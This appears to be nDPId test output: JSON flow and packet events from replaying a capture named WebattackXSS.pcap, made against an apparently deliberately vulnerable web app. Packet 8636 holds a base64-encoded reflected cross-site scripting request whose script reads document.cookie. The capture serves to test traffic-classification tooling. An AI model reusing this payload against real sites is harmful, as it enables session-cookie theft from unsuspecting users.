+00433{"flow_id":606,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8632,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348007,"pkt_ts_usec":605755,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00yxAAD4G8qusEAABwKgKMoh8AFCQaw0feTgn7oAQAR2hqwAAAQEICgE833oD5rDu"} +00948{"flow_id":606,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8633,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348008,"pkt_ts_usec":612633,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGz0y1AAD4G8SusEAABwKgKMoh8AFCQaw0feTgn7oAYAR1PtwAAAQEICgE84HYD5rDuR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02821{"flow_id":606,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8634,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348008,"pkt_ts_usec":616104,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAceqR5AAEAGE9DAqAoyrBAAAQBQiHx5OCfukGsOnoAYAP19\/AAAAQEICgPmsesBPOB2SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjMzOjI4IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTgNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00433{"flow_id":606,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8635,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348008,"pkt_ts_usec":616761,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00y5AAD4G8qmsEAABwKgKMoh8AFCQaw6eeTgu2IAQATmXLAAAAQEICgE84HcD5rHr"} +01217{"flow_id":606,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8636,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348008,"pkt_ts_usec":884091,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ90y9AAD4G8F+sEAABwKgKMoh8AFCQaw6eeTgu2IAYATlV\/wAAAQEICgE84LoD5rHrR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdTWkQ1RkFBNjM5WE8xSjNVQUhaVUM2MkxPT0xWUDRXUFBNOVZISU9JUkEyQTU1QldQNiUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02964{"flow_id":606,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8637,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348008,"pkt_ts_usec":887281,"pkt_caplen":1933,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1933,"pkt_l4_len":1899,"pkt":"AMGxFOsxABm5CmnxCABFAAd\/qSBAAEAGE23AqAoyrBAAAQBQiHx5OC7YkGsQ54AYAQd+XQAAAQEICgPmsi8BPOC6SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjMzOjI4IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNg0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTcNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Ye0\/jOBD\/G6T9Dj6fdMBKxNvldnWwbValhaOncvRoS\/dWJ0Vu4rYGJ87aTgvf\/sZ5tOFZskVCxbHn8RvPeDzjd9v1X9oXrcG\/vRM0M6FAveFxt9NCeJ+Q0UGLkPagjb6dDc67qOZ8QH2juG8IOfkbIzwzJj4iZLFYOIsDR6opGVySWyulZtny4b5OeZzABNh9t\/1uu57quQ1FpBtPyKgdHh5mrBn5Vn3GaADDra16yAxFlmWf\/Uj4vIFbMjIsMvuDu5hh5GdfDWzYrSFWxBfkz6jSzDSGg9P9PzAimcytuuFGMPcqERFTdMwFN3dH6JJNBPMNC1BLSa1RnxuG+r7iseHRFO1+6\/f30NERatMwQgWvYGjExqgZx4L71HAZod321ai5h+Y1p\/YBvW+zORMyDgHa+zrJFOcoBI9ukGKigbW5E0zPGDMYGbAmN8LXGqOZYpMGdhwCf8F8Qe0sCSmPnHSZPJbGYSsKOf\/xkE4Zgan7kiZ0bsmcdGEpQ6fWliFc0znNZjHSyr8H5Fqn\/3ugwLnW2K2TjDL3HMldZ8djGdwhX1BtvS5DhjOXBnyOeNDA1ndgEVO510tLVkhpfqvOw+kjJKmRmgg5lU4cTTGiAgJhjaNWdgNWUPdItd1kDxyXlLQ\/WvNiGgQsyAwCgkQUdtrVYyH9G7s1giMZ+aD6poEXPArkwoGlFEdjJ7PE2cEFKzDQe+5ysHsG21YnFHZZcHf7NQJ5BKcv8e2UduJZ\/IL8h6TY7ZRmqqmFA5fEa\/QtabDbt0NE4PjBJGofl5SRRLgbbOi8dL45hMdYJYaRF1A9zYDdY\/sfnUrlV\/TAQ4HslvlVAKT02G3JMKRRgDrRNUs9shkKX6tJFRQpPaDoX55upnjCifM1hqPa4MCZBGxNlLyKH7unHA53x87ojfcmiYWkQZXdyTlyGMP0a0P\/0NjAzVXJRTlLem6ZnyiGWs3eoHXW3AyK\/iF4FRwpPZzpf7pvFaxWojeGy62SU0pcD9Cg3WM7vbcZqgWjNx6vBKlgwe4IRqjPtI1W1GlXTK8P5d5q7VUCkjFgF+oZqFUuzjfcCitOlfRrllVRr8KhChzL4usN0Oiqu6ELFH0j1X0IG15B6VmE6nLtdbgiw66tHyE+sqlq2wH8PJrINepKVNjtnfXgdExkNUV0LBOzRs2SBrtNO3y7bbWF3lr1KyLsdtPxAwB5xXav9nu+ELQl7KoQhE7Grua67Vq5EKzPaj\/TXUDJXMsL5pLw+bKC9XwZMI8qRvP6eSJViCIaQrUO\/FD2pimugX\/FCLqlmQTsf54M8tq0HucWj2bU7Gh0JxOVMn8tKusoTsrFP85F299lfVsm0sk45EA2pyKBz372mWsjsZs1FcSizPDGirlnTAiJ8lbDhcpfS8HAw9Pdnf739qfTZvPzweG3i9pfB8Pm2fdh6\/PH7sVF96r3+6jXOz+8OutcdC6bH5ufPh2Pep939r6UJQTST2yn5fhS3nC292XZkgAcxVLXrDxcn310z+HAp+GvQppdVjBp1\/L4gGhcxZVtPnXesMoF1XHas0KIslsbZiT17L4Gz3pLz3qpZ6Edo2oKnSiGW4lGN9j9eVnLKK6MD7g9qFIMU94JtHVgrteC\/sp4\/bz1rIjxZXnrcbLIWfAbHrOA01S0\/SpbrgvLn8f2ehkv48nN9Kd8mYx9GdrrYX9Cfzjpk8STIF7B+CrNGU4qmDK1VMKL6h5Rl3Xk2S0L9aJzHSvod7PfIoU9k\/LyvOMLRtXyND+VF\/WdNiz07F3yZH4YJ8bYPjvPD1ecLRAc\/3iZs2MZJ7FXkMmolWX91aPDEVAM4130zG0\/B4neDCTacPwKkNKa4rfCEQ0hFztoD7toLaw+JEOfvS0wncpcC83uJhV8CnlbsAnkzzoL3aFmyubdozqBL0SDkEe5C+G7KA5Q174u5TQgcUUBt3qn3c9XAq7t9REUXnzWoRMpzb3Hltjd5LUrfupaLSdgYi\/O7F0wfbFz\/wfasETjkhQAAA=="} +00433{"flow_id":607,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8639,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348008,"pkt_ts_usec":903714,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Q\/VAAD4GgeOsEAABwKgKMoiKAFCK7JhH8axUB4ARAOV6HQAAAQEICgE84L8D5q0p"} +00433{"flow_id":607,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8640,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348008,"pkt_ts_usec":903906,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA05jRAAEAG3aPAqAoyrBAAAQBQiIrxrFQHiuyYSIARAON1FAAAAQEICgPmsjMBPOC\/"} +00433{"flow_id":607,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8641,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348008,"pkt_ts_usec":904666,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Q\/ZAAD4GgeKsEAABwKgKMoiKAFCK7JhI8axUCIAQAOV1EgAAAQEICgE84L8D5rIz"} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8642,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":532,"flow_packet_id":316,"flow_first_seen":1499347872187,"flow_last_seen":1499347941610,"flow_tot_l4_data_len":242497,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1901,"flow_avg_l4_data_len":767,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33580,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8642,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":566,"flow_packet_id":6,"flow_first_seen":1499347934152,"flow_last_seen":1499347939882,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34224,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8642,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":566,"flow_packet_id":6,"flow_first_seen":1499347934152,"flow_last_seen":1499347939882,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34224,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8642,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":567,"flow_packet_id":6,"flow_first_seen":1499347935445,"flow_last_seen":1499347940883,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34238,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8642,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":567,"flow_packet_id":6,"flow_first_seen":1499347935445,"flow_last_seen":1499347940883,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34238,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8642,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":568,"flow_packet_id":6,"flow_first_seen":1499347936727,"flow_last_seen":1499347941876,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34252,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8642,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":568,"flow_packet_id":6,"flow_first_seen":1499347936727,"flow_last_seen":1499347941876,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34252,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8642,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":570,"flow_packet_id":6,"flow_first_seen":1499347940593,"flow_last_seen":1499347945883,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34292,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8642,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":570,"flow_packet_id":6,"flow_first_seen":1499347940593,"flow_last_seen":1499347945883,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34292,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8642,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":571,"flow_packet_id":6,"flow_first_seen":1499347943146,"flow_last_seen":1499347948885,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34318,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8642,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":571,"flow_packet_id":6,"flow_first_seen":1499347943146,"flow_last_seen":1499347948885,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34318,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8642,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":572,"flow_packet_id":6,"flow_first_seen":1499347944440,"flow_last_seen":1499347949885,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34332,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8642,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":572,"flow_packet_id":6,"flow_first_seen":1499347944440,"flow_last_seen":1499347949885,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34332,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8645,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":610,"flow_packet_id":1,"flow_first_seen":1499348010145,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35020,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":610,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8645,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348010,"pkt_ts_usec":145611,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA81alAAD4G8CasEAABwKgKMojMAFACvDRcAAAAAKACchC7nQAAAgQFtAQCCAoBPOH1AAAAAAEDAwc="} +00444{"flow_id":610,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8646,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348010,"pkt_ts_usec":145738,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiMxKQ6iIArw0XaAScSASYQAAAgQFtAQCCAoD5rNpATzh9QEDAwc="} +00432{"flow_id":610,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8647,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348010,"pkt_ts_usec":146474,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01apAAD4G8C2sEAABwKgKMojMAFACvDRdSkOoiYAQAOWxZwAAAQEICgE84fYD5rNp"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8654,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":611,"flow_packet_id":1,"flow_first_seen":1499348011433,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35034,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":611,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8654,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348011,"pkt_ts_usec":433036,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA89\/VAAD4GzdqsEAABwKgKMojaAFB2oBTCAAAAAKACchBmAwAAAgQFtAQCCAoBPOM3AAAAAAEDAwc="} +00444{"flow_id":611,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8655,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348011,"pkt_ts_usec":433191,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiNplHDbhdqAUw6AScSASUwAAAgQFtAQCCAoD5rSrATzjNwEDAwc="} +00433{"flow_id":611,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8656,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348011,"pkt_ts_usec":433910,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09\/ZAAD4GzeGsEAABwKgKMojaAFB2oBTDZRw24oAQAOWxWgAAAQEICgE84zcD5rSr"} +00432{"flow_id":608,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8660,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348011,"pkt_ts_usec":903584,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NJtAAD4GkT2sEAABwKgKMoikAFAqsOqlKsH+wYARAOWenAAAAQEICgE8460D5q+x"} 